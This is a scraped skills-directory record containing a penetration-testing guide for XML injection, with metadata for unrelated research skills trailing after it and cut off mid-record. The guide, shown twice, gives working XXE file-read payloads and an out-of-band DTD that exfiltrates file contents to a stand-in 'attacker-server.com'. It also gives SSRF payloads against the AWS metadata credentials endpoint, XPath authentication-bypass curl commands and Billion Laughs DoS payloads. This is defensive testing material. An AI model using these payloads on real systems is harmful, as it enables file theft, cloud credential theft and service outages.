[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7B9FF37HKTY5K0JE71ZVV2W":3,"skill-same:01M7B9FF37HKTY5K0JE71ZVV2W":83},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":15,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":47,"commitSha":48,"skillDirectory":49,"forksCount":13,"repositoryHtmlUrl":50,"repositoryHomepageUrl":6,"ownerHtmlUrl":51,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":52,"install":53,"resources":66},"01M7B9FF37HKTY5K0JE71ZVV2W","testing-for-xml-injection-vulnerabilities",null,"Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks.","vikasvardhanv\u002Fjerry_skills","vikasvardhanv","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99010657?v=4","01M7B2B0VN78W7529RQX5BR6DZ","01M7B2B0WDNTXJHRK3QNPNWRP6",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-for-xml-injection-vulnerabilities\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-for-xml-injection-vulnerabilities\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: testing-for-xml-injection-vulnerabilities\ndescription: Test web applications for XML injection vulnerabilities including XXE,\n  XPath injection, and XML entity attacks to identify data exposure and server-side\n  request forgery risks.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- xml-injection\n- xxe\n- xpath-injection\n- xml-parsing\n- web-security\n- entity-injection\n- dtd-attack\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Testing for XML Injection Vulnerabilities\n\n## When to Use\n- When testing applications that process XML input (SOAP APIs, XML-RPC, file uploads)\n- During penetration testing of applications with XML parsers\n- When assessing SAML-based authentication implementations\n- When testing file import\u002Fexport functionality that handles XML formats\n- During API security testing of SOAP or XML-based web services\n\n## Prerequisites\n- Burp Suite with XML-related extensions (Content Type Converter, XXE Scanner)\n- XMLLint or similar XML validation tools\n- Understanding of XML structure, DTDs, and entity processing\n- Python 3.x with lxml and requests libraries\n- Access to an out-of-band interaction server (Burp Collaborator, interact.sh)\n- Sample XXE payloads from PayloadsAllTheThings repository\n\n## Workflow\n\n### Step 1 — Identify XML Processing Endpoints\n```bash\n# Look for endpoints accepting XML content types\n# Content-Type: application\u002Fxml, text\u002Fxml, application\u002Fsoap+xml\n# Check WSDL files for SOAP services\ncurl -s http:\u002F\u002Ftarget.com\u002Fservice?wsdl\n\n# Test if endpoint accepts XML by changing Content-Type\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\"?>\u003Croot>\u003Ctest>hello\u003C\u002Ftest>\u003C\u002Froot>'\n\n# Check for XML file upload functionality\n# Look for .xml, .svg, .xlsx, .docx file processing\n```\n\n### Step 2 — Test for Basic XXE (File Retrieval)\n```xml\n\u003C!-- Basic XXE to read local files -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Windows file retrieval -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fc:\u002Fwindows\u002Fwin.ini\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Using PHP wrapper for base64-encoded file content -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 3 — Test for Blind XXE with Out-of-Band Detection\n```xml\n\u003C!-- Out-of-band XXE using external DTD -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fattacker-server.com\u002Fxxe.dtd\">\n  %xxe;\n]>\n\u003Croot>\u003Cdata>test\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- External DTD file (xxe.dtd hosted on attacker server) -->\n\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; exfil SYSTEM 'http:\u002F\u002Fattacker-server.com\u002F?data=%file;'>\">\n%eval;\n%exfil;\n\n\u003C!-- DNS-based out-of-band detection -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Fxxe-test.burpcollaborator.net\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 4 — Test for SSRF via XXE\n```xml\n\u003C!-- Internal network scanning via XXE -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- AWS metadata endpoint access -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Internal port scanning -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Finternal-server:8080\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 5 — Test for XPath Injection\n```bash\n# Basic XPath injection in search parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or '1'='1\"\n\n# XPath authentication bypass\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=' or '1'='1&password=' or '1'='1\"\n\n# XPath data extraction\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or 1=1 or ''='\"\n\n# Blind XPath injection with boolean-based extraction\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or string-length(\u002F\u002Fuser[1]\u002Fpassword)=8 or ''='\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or substring(\u002F\u002Fuser[1]\u002Fpassword,1,1)='a' or ''='\"\n```\n\n### Step 6 — Test for XML Billion Laughs (DoS)\n```xml\n\u003C!-- Billion Laughs attack (use only in authorized testing) -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE lolz [\n  \u003C!ENTITY lol \"lol\">\n  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n]>\n\u003Croot>\u003Cdata>&lol4;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Quadratic blowup attack -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY a \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\">\n]>\n\u003Croot>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;\u003C\u002Froot>\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| XXE (XML External Entity) | Attack exploiting XML parsers that process external entity references |\n| Blind XXE | XXE where response is not reflected; requires out-of-band channels |\n| XPath Injection | Injection into XPath queries used to navigate XML documents |\n| DTD (Document Type Definition) | Declarations that define XML document structure and entities |\n| Parameter Entities | Special entities (%) used within DTDs for blind XXE exploitation |\n| SSRF via XXE | Using XXE to make server-side requests to internal resources |\n| XML Bomb | Denial of service via recursive entity expansion (Billion Laughs) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy with XXE Scanner extension for automated detection |\n| XXEinjector | Automated XXE injection and data exfiltration tool |\n| OXML_XXE | Tool for embedding XXE payloads in Office XML documents |\n| xmllint | XML validation and parsing utility for payload testing |\n| interact.sh | Out-of-band interaction server for blind XXE detection |\n| Content Type Converter | Burp extension to convert JSON requests to XML for XXE testing |\n\n## Common Scenarios\n\n1. **File Disclosure** — Read sensitive server files (\u002Fetc\u002Fpasswd, web.config) through classic XXE entity injection in XML input fields\n2. **SSRF to Cloud Metadata** — Access AWS\u002FGCP\u002FAzure metadata endpoints through XXE to steal IAM credentials and access tokens\n3. **Blind Data Exfiltration** — Extract sensitive data through out-of-band DNS\u002FHTTP channels when XXE output is not reflected\n4. **SAML XXE** — Inject XXE payloads into SAML assertions during single sign-on authentication flows\n5. **SVG File Upload XXE** — Upload malicious SVG files containing XXE payloads to trigger server-side XML parsing\n\n## Output Format\n\n```\n## XML Injection Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fxml-endpoint\n- **Vulnerability Types Found**: XXE, Blind XXE, XPath Injection\n- **Severity**: Critical\n\n### Findings\n| # | Type | Endpoint | Payload | Impact |\n|---|------|----------|---------|--------|\n| 1 | XXE File Read | POST \u002Fapi\u002Fimport | SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\" | Local File Disclosure |\n| 2 | Blind XXE | POST \u002Fapi\u002Fupload | External DTD with OOB | Data Exfiltration |\n| 3 | SSRF via XXE | POST \u002Fapi\u002Fparse | SYSTEM \"http:\u002F\u002F169.254.169.254\u002F\" | Cloud Credential Theft |\n\n### Remediation\n- Disable external entity processing in XML parser configuration\n- Use JSON instead of XML where possible\n- Implement XML schema validation with strict DTD restrictions\n- Block outbound connections from XML processing services\n```\n","# Testing for XML Injection Vulnerabilities\n\n## When to Use\n- When testing applications that process XML input (SOAP APIs, XML-RPC, file uploads)\n- During penetration testing of applications with XML parsers\n- When assessing SAML-based authentication implementations\n- When testing file import\u002Fexport functionality that handles XML formats\n- During API security testing of SOAP or XML-based web services\n\n## Prerequisites\n- Burp Suite with XML-related extensions (Content Type Converter, XXE Scanner)\n- XMLLint or similar XML validation tools\n- Understanding of XML structure, DTDs, and entity processing\n- Python 3.x with lxml and requests libraries\n- Access to an out-of-band interaction server (Burp Collaborator, interact.sh)\n- Sample XXE payloads from PayloadsAllTheThings repository\n\n## Workflow\n\n### Step 1 — Identify XML Processing Endpoints\n```bash\n# Look for endpoints accepting XML content types\n# Content-Type: application\u002Fxml, text\u002Fxml, application\u002Fsoap+xml\n# Check WSDL files for SOAP services\ncurl -s http:\u002F\u002Ftarget.com\u002Fservice?wsdl\n\n# Test if endpoint accepts XML by changing Content-Type\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\"?>\u003Croot>\u003Ctest>hello\u003C\u002Ftest>\u003C\u002Froot>'\n\n# Check for XML file upload functionality\n# Look for .xml, .svg, .xlsx, .docx file processing\n```\n\n### Step 2 — Test for Basic XXE (File Retrieval)\n```xml\n\u003C!-- Basic XXE to read local files -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Windows file retrieval -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fc:\u002Fwindows\u002Fwin.ini\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Using PHP wrapper for base64-encoded file content -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 3 — Test for Blind XXE with Out-of-Band Detection\n```xml\n\u003C!-- Out-of-band XXE using external DTD -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fattacker-server.com\u002Fxxe.dtd\">\n  %xxe;\n]>\n\u003Croot>\u003Cdata>test\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- External DTD file (xxe.dtd hosted on attacker server) -->\n\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; exfil SYSTEM 'http:\u002F\u002Fattacker-server.com\u002F?data=%file;'>\">\n%eval;\n%exfil;\n\n\u003C!-- DNS-based out-of-band detection -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Fxxe-test.burpcollaborator.net\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 4 — Test for SSRF via XXE\n```xml\n\u003C!-- Internal network scanning via XXE -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- AWS metadata endpoint access -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Internal port scanning -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Finternal-server:8080\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 5 — Test for XPath Injection\n```bash\n# Basic XPath injection in search parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or '1'='1\"\n\n# XPath authentication bypass\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=' or '1'='1&password=' or '1'='1\"\n\n# XPath data extraction\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or 1=1 or ''='\"\n\n# Blind XPath injection with boolean-based extraction\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or string-length(\u002F\u002Fuser[1]\u002Fpassword)=8 or ''='\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or substring(\u002F\u002Fuser[1]\u002Fpassword,1,1)='a' or ''='\"\n```\n\n### Step 6 — Test for XML Billion Laughs (DoS)\n```xml\n\u003C!-- Billion Laughs attack (use only in authorized testing) -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE lolz [\n  \u003C!ENTITY lol \"lol\">\n  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n]>\n\u003Croot>\u003Cdata>&lol4;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Quadratic blowup attack -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY a \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\">\n]>\n\u003Croot>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;\u003C\u002Froot>\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| XXE (XML External Entity) | Attack exploiting XML parsers that process external entity references |\n| Blind XXE | XXE where response is not reflected; requires out-of-band channels |\n| XPath Injection | Injection into XPath queries used to navigate XML documents |\n| DTD (Document Type Definition) | Declarations that define XML document structure and entities |\n| Parameter Entities | Special entities (%) used within DTDs for blind XXE exploitation |\n| SSRF via XXE | Using XXE to make server-side requests to internal resources |\n| XML Bomb | Denial of service via recursive entity expansion (Billion Laughs) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy with XXE Scanner extension for automated detection |\n| XXEinjector | Automated XXE injection and data exfiltration tool |\n| OXML_XXE | Tool for embedding XXE payloads in Office XML documents |\n| xmllint | XML validation and parsing utility for payload testing |\n| interact.sh | Out-of-band interaction server for blind XXE detection |\n| Content Type Converter | Burp extension to convert JSON requests to XML for XXE testing |\n\n## Common Scenarios\n\n1. **File Disclosure** — Read sensitive server files (\u002Fetc\u002Fpasswd, web.config) through classic XXE entity injection in XML input fields\n2. **SSRF to Cloud Metadata** — Access AWS\u002FGCP\u002FAzure metadata endpoints through XXE to steal IAM credentials and access tokens\n3. **Blind Data Exfiltration** — Extract sensitive data through out-of-band DNS\u002FHTTP channels when XXE output is not reflected\n4. **SAML XXE** — Inject XXE payloads into SAML assertions during single sign-on authentication flows\n5. **SVG File Upload XXE** — Upload malicious SVG files containing XXE payloads to trigger server-side XML parsing\n\n## Output Format\n\n```\n## XML Injection Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fxml-endpoint\n- **Vulnerability Types Found**: XXE, Blind XXE, XPath Injection\n- **Severity**: Critical\n\n### Findings\n| # | Type | Endpoint | Payload | Impact |\n|---|------|----------|---------|--------|\n| 1 | XXE File Read | POST \u002Fapi\u002Fimport | SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\" | Local File Disclosure |\n| 2 | Blind XXE | POST \u002Fapi\u002Fupload | External DTD with OOB | Data Exfiltration |\n| 3 | SSRF via XXE | POST \u002Fapi\u002Fparse | SYSTEM \"http:\u002F\u002F169.254.169.254\u002F\" | Cloud Credential Theft |\n\n### Remediation\n- Disable external entity processing in XML parser configuration\n- Use JSON instead of XML where possible\n- Implement XML schema validation with strict DTD restrictions\n- Block outbound connections from XML processing services\n```\n",{"name":5,"tags":24,"author":32,"domain":33,"license":14,"version":34,"nist_csf":35,"subdomain":40,"description":7,"mitre_attack":41},[25,26,27,28,29,30,31],"xml-injection","xxe","xpath-injection","xml-parsing","web-security","entity-injection","dtd-attack","mahipal","cybersecurity","1.0",[36,37,38,39],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[42,43,44,45,46],"T1190","T1059.007","T1505.003","T1083","T1055","main","1eb986d0b0ecc180291597e08eb5a58288843536","skills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-for-xml-injection-vulnerabilities","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv","2026-08-25 13:16:33",{"source":8,"skillName":5,"commands":54,"prompt":64,"zipAvailable":65},[55,58,61],{"tool":56,"command":57},"npx","npx skills add vikasvardhanv\u002Fjerry_skills --skill testing-for-xml-injection-vulnerabilities",{"tool":59,"command":60},"bunx","bunx skills add vikasvardhanv\u002Fjerry_skills --skill testing-for-xml-injection-vulnerabilities",{"tool":62,"command":63},"pnpm","pnpm dlx skills add vikasvardhanv\u002Fjerry_skills --skill testing-for-xml-injection-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-for-xml-injection-vulnerabilities\u002FSKILL.md",true,[67,71,77],{"path":68,"resourceType":68,"resourceTypeDesc":69,"sizeBytes":70,"sourceHtmlUrl":15},"LICENSE","许可证",11255,{"path":72,"resourceType":73,"resourceTypeDesc":74,"sizeBytes":75,"sourceHtmlUrl":76},"references\u002Fapi-reference.md","REFERENCE","参考文档",1724,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-for-xml-injection-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":78,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":81,"sourceHtmlUrl":82},"scripts\u002Fagent.py","SCRIPT","脚本",7798,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-for-xml-injection-vulnerabilities\u002Fscripts\u002Fagent.py",[84,92,99,106,113,120],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":88,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":19},"01M7BESR1CJ3H5SP9XM8KYJZ9W","syllabus","Generates a curated supplementary reading list from any course syllabus using Consensus academic search. Grill-me intake (syllabus input format + course audience + year range) plus a grouping forcing-options checkpoint before any search runs — so the reading list matches the course's level and recency need. Parses the syllabus to extract topics and learning outcomes, searches Consensus for recent peer-reviewed papers per topic, and produces a professionally formatted .docx with clickable Consensus links, plain-language summaries calibrated to audience level, and Bloom-higher-order discussion questions tied to course learning goals. Use when the user uploads a syllabus, course outline, or curriculum document and wants supplementary readings (e.g., 'create a reading list from this syllabus', 'find recent papers for my course') — even casual mentions with a syllabus attached should trigger this skill.","MIT","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fsyllabus\u002Fskills\u002Fsyllabus\u002FSKILL.md",[],[],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":88,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":19},"01M7BES1YA6R97W7QPMFFM1PED","pulse","Multi-source recency research skill that takes the pulse of any topic across Reddit, Hacker News, the open web, and optionally X\u002FTwitter within a configurable recent window (default 30 days). Forcing intake clarifies topic specificity, angle (trend\u002Fsentiment\u002Fproblems\u002Fopportunities\u002Fcomparison), time window, and platform scope before searching. Returns a synthesized briefing with citations, engagement metrics, and cross-platform pattern analysis. Use when the user requests multi-source recency intelligence on a topic (e.g., 'pulse on [topic]', 'what's happening with [topic]', 'what are people saying about [topic]', 'current conversation about [topic]', 'take the pulse of [topic]', 'trending: [topic]', 'find me info on [topic]'), and for competitor research, trend discovery, tool comparisons, and audience sentiment analysis.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpulse\u002Fskills\u002Fpulse\u002FSKILL.md",[],[],{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":88,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":19},"01M7BERNHYGY035AR00VRT03KE","patent","Patent prior-art and landscape intelligence skill — not generic patent help. Commits to one of five sub-use-cases via forcing intake (novelty search \u002F freedom-to-operate \u002F competitive landscape \u002F acquisition diligence \u002F litigation prior-art) before any search runs. Searches Google Patents, Espacenet, USPTO, and optionally Lens.org for citation-graph signals. Output is an editable Word document (.docx) with verdict, ranked closest art (claim-text extracted), CPC-class-aware landscape, family-resolved hits, geographic coverage, FTO flags where applicable, strategy recommendations, and full audit log. Use when the user asks for patent searching or analysis (e.g., 'prior art search for [invention]', 'freedom to operate analysis for [product]'). Produces search signal, not legal advice — always recommends consulting a patent attorney before filing or licensing decisions. Trademark, copyright, and trade-secret questions are out of scope.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpatent\u002Fskills\u002Fpatent\u002FSKILL.md",[],[],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":88,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":19},"01M7BERCK1EAKTWW7R436WAR0J","notebooklm","Browser automation skill for controlling Google's NotebookLM. Use when the user wants anything done in NotebookLM (e.g., 'open NotebookLM', 'check my [name] notebook', 'ask my notebook about X', 'add [source] to NotebookLM', 'generate a Video Overview from my notebook', 'use NotebookLM Studio'). Handles reading and querying notebooks, adding sources (URLs, text, files, YouTube links, synthesized content), generating Studio outputs (Audio\u002FVideo Overviews, Mind Maps, Reports incl. Briefing Doc\u002FStudy Guide\u002FFAQ, Flashcards, Quiz, slide decks, infographics — discover the exact set from the live Studio panel; the UI evolves fast), and creating new notebooks. Requires browser automation environment — fails gracefully when unavailable.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fnotebooklm\u002Fskills\u002Fnotebooklm\u002FSKILL.md",[],[],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":88,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":119,"publishedAt":19},"01M7BEQZAZAQRTXFJRY7RHV3TY","litreview","Academic literature orientation skill that searches papers via free keyless APIs (PubMed E-utilities + OpenAlex) by default — with the Consensus MCP as an optional enhancement lane when connected — builds a strategic search plan using PICO (default) or SPIDER \u002F Decomposition \u002F hybrid as fallbacks, and synthesizes findings into a formatted Word (.docx) research guide. Grill-me intake (research question specificity + framework hint + tentative depth) before the recon search; a second forcing checkpoint after Phase 2 confirms framework + sub-areas + depth before searches consume budget. Configurable depth (5\u002F10\u002F20 queries) controls coverage vs. speed. Output is a 'launching pad' — an orientation guide that lets a researcher dive in confidently, not a finished review. Use when the user starts literature-oriented research (e.g., 'litreview on [topic]', 'literature review on [topic]', 'I'm starting a literature review on X', 'I'm writing a paper on X', 'help me research X', 'I'm doing research on X', 'can you help me research X'). Do NOT use for single one-off paper searches wanting a quick list — that's a plain PubMed\u002FOpenAlex (or Consensus) 